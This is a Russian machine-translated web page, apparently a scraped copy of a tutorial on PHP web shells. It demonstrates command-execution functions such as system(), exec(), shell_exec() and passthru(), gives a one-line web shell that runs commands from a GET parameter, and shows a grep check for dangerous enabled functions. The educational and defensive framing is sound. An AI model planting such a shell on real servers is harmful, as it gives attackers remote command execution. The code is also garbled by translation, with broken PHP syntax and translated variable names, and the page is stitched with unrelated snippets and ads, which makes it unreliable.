Веб-оболочки 101 с использованием PHP - Введение в веб-оболочки - Часть 2
В часть 1 В этой серии мы рассмотрели, что такое веб-оболочка и почему злоумышленник попытается ее использовать. Во второй части этой серии мы рассмотрим некоторые конкретные примеры веб-оболочек на языке программирования PHP.
Веб-оболочки существуют практически для каждого языка веб-программирования, о котором вы только можете подумать. Мы решили сосредоточиться на PHP, потому что это наиболее широко используемый язык программирования в сети.
Веб-оболочки PHP не делают ничего, кроме использования встроенных функций PHP для выполнения команд. Ниже приведены некоторые из наиболее распространенных функций, используемых для выполнения команд оболочки в PHP.
Примечание. Для целей этой статьи мы отредактировали наш файл hosts и указали домен www.example.com на тестовый сервер.
Система ()
Функция system () принимает команду в качестве параметра и выводит результат.
В следующем примере на компьютере под управлением Microsoft Windows будет запущена команда dir, чтобы получить список каталогов, в котором выполняется файл PHP.
<? php // Возвращаем список каталогов, в которых запускается файл (Windows) system ("dir"); ?> -> Том на диске C не имеет метки. Серийный номер тома: A08E-9C63 Каталог C: \ webserver \ www \ demo 27.04.2016, 22:21 <DIR>. 27.04.2016, 22:21 <DIR> .. 27.04.2016, 22:19 22 shell.php 1 Файл (ов) 22 байта 2 Dir (ов) 31 977 467 904 байта свободен
Аналогично, выполнение команды ls на компьютере с Linux дает аналогичный результат.
<? php // Возвращаем список каталогов, в которых запускается файл (Linux) system ("ls -la"); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 27 апреля 20:43. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 26 апреля 27 20:41 shell.php
Другие команды имеют тот же эффект.
<? php // Возвращаем пользователя, сценарий которого запущен в системе («whoami»); ?> -> www-data
Exec ()
Функция exec () принимает команду в качестве параметра, но не выводит результат. Если указан второй необязательный параметр, результат будет возвращен в виде массива. В противном случае будет отображаться только последняя строка результата.
<? php // Выполняет, но ничего не возвращает exec ("ls -la"); ?> ->
Использование echo с функцией exec () выводит только последнюю строку вывода команды.
<? php // Выполняет, возвращает только последнюю строку вывода echo exec ("ls -la"); ?> -> -rw-rw-r-- 1 секьюсер секьюсер 29 апреля 27 20:49 shell.php
Если указан второй параметр, результат возвращается в массиве.
<? php // Выполняет, возвращает вывод в массив exec ("ls -la", $ array); print_r ($ массив); ?> -> Массив ([0] => всего 12 [1] => secuser drwxrwxr-x 2 4096 27 апреля 20:55. [2] => secuser drwxr-xr-x 6 4096 27 апреля 20: 40 .. [3] => -rw-rw-r-- 1 секьюсер секьюсер 49 апр. 27 20:54 shell.php)
shell_exec ()
Функция shell_exec () похожа на exec (), но вместо этого выводит весь результат в виде строки.
<? php // Выполняет, возвращает весь вывод в виде строки echo shell_exec («ls -la«); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 28 апреля 18:24. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 36 апр. 28 18:24 shell.php
пройти()
Функция passthru () выполняет команду и возвращает вывод в необработанном формате.
<? php // Выполняет, возвращает вывод в необработанном формате passsthru («ls -la«); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 28 апреля 18:23. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 29 апреля 28 18:23 shell.php
proc_open ()
Функция proc_open () может быть трудной для понимания (подробное описание функции можно найти в PHP документы ). Проще говоря, с помощью proc_open () мы можем создать обработчик (процесс), который будет использоваться для связи между нашим скриптом и программой, которую мы хотим запустить.
preg_replace () с модификатором / e
Функция preg_replace () может выполнять поиск и замену регулярного выражения. Модификатор / e (который устарел) выполняет замену с помощью eval (). Это означает, что мы можем затем передать PHP-код, который будет выполнен функцией eval ().
<? php preg_replace ('/.*/ e', 'system ("whoami");', ''); ?> -> www-data
Обратные кавычки
Удивительно, но не многие разработчики PHP знают об этом, однако PHP будет выполнять содержимое обратных символов (`) как команду оболочки.
Примечание. Символ обратной черты (`) не следует путать с символом одинарных кавычек (')
<? php $ output = `whoami`; echo "<pre> $ output </ pre>"; ?> -> www-data
Исходя из вышеизложенного, ниже приведена веб-оболочка PHP в ее самой простой форме.
<? php system ($ _ GET ['cmd']);?>
Он использует функцию system () для выполнения команд, которые передаются через параметр GET HTTP-запроса 'cmd' .
Мы установили, что эти функции (и некоторые другие) могут быть очень опасными. Что еще более опасно, так это то, что все эти встроенные команды PHP включены по умолчанию, когда установлен PHP, и большинство системных администраторов не отключают их.
Если вы не уверены, включены ли они в вашей системе, следующая команда (необходимо установить PHP CLI) вернет список опасных функций, которые включены.
php -r 'print_r (get_defined_functions ());' | grep -E '(system | exec | shell_exec | passthru | proc_open | popen | curl_exec | curl_multi_exec | parse_ini_file | show_source)' <? php print_r (get_defined_functions ()); ?>
При установке по умолчанию мы видим, что все функции, упомянутые выше, включены.
[669] => exec [670] => system [673] => passthru [674] => shell_exec [675] => proc_open [786] => show_source [807] => parse_ini_file [843] => popen
Часть 3
Хранение паутины под прикрытием
Похожие
Защитите wp-login.php от перебораБыстрые Шаги: Сначала создайте файл .htpasswd. Отредактируйте .htccess, чтобы ограничить доступ wp-login только для имени пользователя и паролей, определенных в файле .htpasswd. Очистите кеш вашего браузера. Вы можете использовать правила .htaccess, чтобы защитить свой файл wp-login.php паролем от попыток входа в систему методом грубой силы. Процесс потребует дополнительный уровень безопасности (дополнительное имя пользователя Adminer - Управление базой данных в одном файле PHP
Adminer (ранее phpMinAdmin) - это полнофункциональный инструмент управления базами данных, написанный на PHP. И наоборот PhpMyAdmin он состоит из одного файла, готового к развертыванию на целевом сервере. Администратор доступен для MySQL , MariaDB , PostgreSQL , SQLite , MS SQL , Oracle , Firebird , SimpleDB , Как отправить электронное письмо, если ячейка была изменена в Excel?
... статья посвящена отправке электронных писем Outlook, если в Excel изменена какая-либо ячейка в указанной области. Отправьте электронное письмо, если ячейка в указанном диапазоне изменена с использованием кода VBA Отправьте электронное письмо, если ячейка в указанном диапазоне изменена с использованием кода VBA Если вы хотите создать новое электронное письмо автоматически с активной прикрепленной книгой, если ячейки Краткое введение в ОТДЫХ
Вы можете знать или не знать, что идет дискуссия о «правильном» способе реализации гетерогенного взаимодействия между приложениями: в то время как текущий основной поток явно фокусируется на веб-сервисах на основе SOAP, WSDL и юниверса спецификации WS- * небольшое, но очень громкое меньшинство утверждает, что есть лучший способ: REST, сокращение от REpresentational State Transfer. В этой статье я попытаюсь представить прагматичное введение в интеграцию REST и RESTful HTTP-приложений, не углубляясь Предотвращение атак грубой силы на сайты WordPress
... часть времени атаки грубой силы совершаются с помощью ботов. Мы можем просто проверить, была ли форма отправлена человеком или нет. Если он представлен ботом, то мы просто не обрабатываем его. Агбонгама Коллинз написал статью в SitePoint о том, как интегрировать Нет Google CAPTCHA reCAPTCHA в форме входа в WordPress , Нет CAPTCHA reCAPTCHA - это простой и удобный для пользователя способ попросить
Комментарии
Нужна операционная система Microsoft Windows, чтобы начать работу с Microsoft Access?Нужна операционная система Microsoft Windows, чтобы начать работу с Microsoft Access? Купить прямо ниже: Windows 10 Home Windows 10 Pro Остальная часть программного обеспечения в изобилии обеспечивает безопасность вашего ПК, она является супер-доступной по цене и простой в использовании - что еще можно пожелать?
Остальная часть программного обеспечения в изобилии обеспечивает безопасность вашего ПК, она является супер-доступной по цене и простой в использовании - что еще можно пожелать? 03. Webroot SecureAnywhere
Lt;?
Php // Возвращаем список каталогов, в которых запускается файл (Windows) system ("dir"); ?
Lt;?
Php // Возвращаем список каталогов, в которых запускается файл (Linux) system ("ls -la"); ?
Lt;?
Php // Возвращаем пользователя, сценарий которого запущен в системе («whoami»); ?
Lt;?
Php // Выполняет, но ничего не возвращает exec ("ls -la"); ?
Lt;?
Php // Выполняет, возвращает только последнюю строку вывода echo exec ("ls -la"); ?